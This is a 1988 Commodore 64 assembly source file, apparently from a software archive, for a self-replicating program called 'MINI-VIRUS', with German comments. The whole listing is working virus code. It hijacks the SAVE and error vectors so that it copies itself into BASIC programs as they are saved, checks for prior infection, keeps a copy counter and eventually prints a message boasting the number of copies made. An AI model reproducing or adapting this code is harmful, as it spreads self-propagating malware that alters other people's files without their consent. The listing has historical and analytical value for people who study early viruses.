home *** CD-ROM | disk | FTP | other *** search
- ;
- ; MINI-VIRUS
- ;
- ; (c) 1988 Martin Ahlemeyer
- ; Nordhang 21
- ; D-4788 Warstein
- ;
- org $0801
- ;
- w ende0,0 ; Link-Struktur Basiczeile 0
- b 0 ; Listschutz-Byte
- w $3a3a,$3a3a ; Koppelglieder fuer Listschutz
- b $9e ; SYS-Token
- b "2065:" ; Klartext nach SYS
- b $8f ; REM-Token
- ;
- :init lda #<ende1 ; Basic-Start heraufsetzen
- sta $2b
- lda #>ende1
- sta $2c
- lda #<save ; SAVE-Vektor verbiegen
- sta $0332
- lda #>save
- sta $0333
- ldx #1
- lda #<error ; Error-Vektor verbiegen
- sta $02ff,x
- lda #>error
- sta $0301
- rts
- ;
- :save lda ende1 ; Programm schon verseucht?
- cmp #$85
- beq saveex ; dann normales SAVE
- lda ende1+4 ; Programm beginnt mit SYS?
- cmp #$9e
- beq saveex ; dann normales SAVE
- lda $b9 ; Sekundaeradresse 0?
- and #%00001111 ; Offset beseitigen
- bne saveex ; wenn nicht 0, dann normal speichern
- lda #1 ; sonst ab $0801 (also mit Virus)
- sta $c1 ; speichern
- lda #8
- sta $c2
- ldy #4 ; Zahlen weiterstellen
- :incz1 lda zahl,y
- cmp #$20 ; Leerzeichen?
- bne incz2
- lda #$30 ; wenn ja, durch "0" ersetzen
- :incz2 tax
- inx
- cpx #$3a ; groesser als 9?
- bne inczex ; wenn nicht, fertig
- lda #$30 ; durch 0 ersetzen
- sta zahl,y
- dey
- bpl incz1 ; zur naechsten Stelle
- iny
- tax
- :inczex txa
- sta zahl,y
- dec kopz ; Kopienzaehler dekrementieren
- bne saveex ; wenn nicht abgelaufen, SAVEn
- lda kopz+1 ; Kopienzaehler restaurieren
- sta kopz
- inc $0313 ; Flag fuer Virusaktion setzen
- lda #7 ; Aktionszaehler neu setzen
- sta count
- :saveex jmp $f5ed ; weiter mit normalem SAVE
- ;
- :error txa ; x-Register retten
- pha
- jsr init ; Vektoren stellen
- lda $0313 ; Flag fuer Aktion testen
- beq errorex ; nicht gesetzt, dann normal weiter
- dec count ; Aktionszaehler dekrementieren
- bne errorex ; nicht 0, dann normal weiter
- lda #2
- sta count ; Aktionszaehler neu setzen
- lda #<text ; Text ausgeben
- ldy #>text
- jsr $ab1e
- :errorex pla ; x-Register zurueck
- tax
- jmp $e38b ; zum Warmstart
- ;
- :count b 3
- ;
- :kopz b 4,3
- ;
- :text b $0d
- b "minivirus:"
- :zahl b " 0"
- b " kopien!"
- ;
- b 0 ; Endebyte fuer Text und fuer die
- ; Basiczeile 0
- ;
- :ende0 w ende1 ; Link-Struktur Basiczeile 1
- w 1 ; Zeilennummer Basiczeile 1
- b $8f ; REM-Token
- b $22,$14,$8d ; Listschutz
- b $91,$91,$91
- ;
- b 0 ; Endebyte Basiczeile 1
- ;
- :ende1 w 0 ; Ende des Programms
-
-
-
-
-
-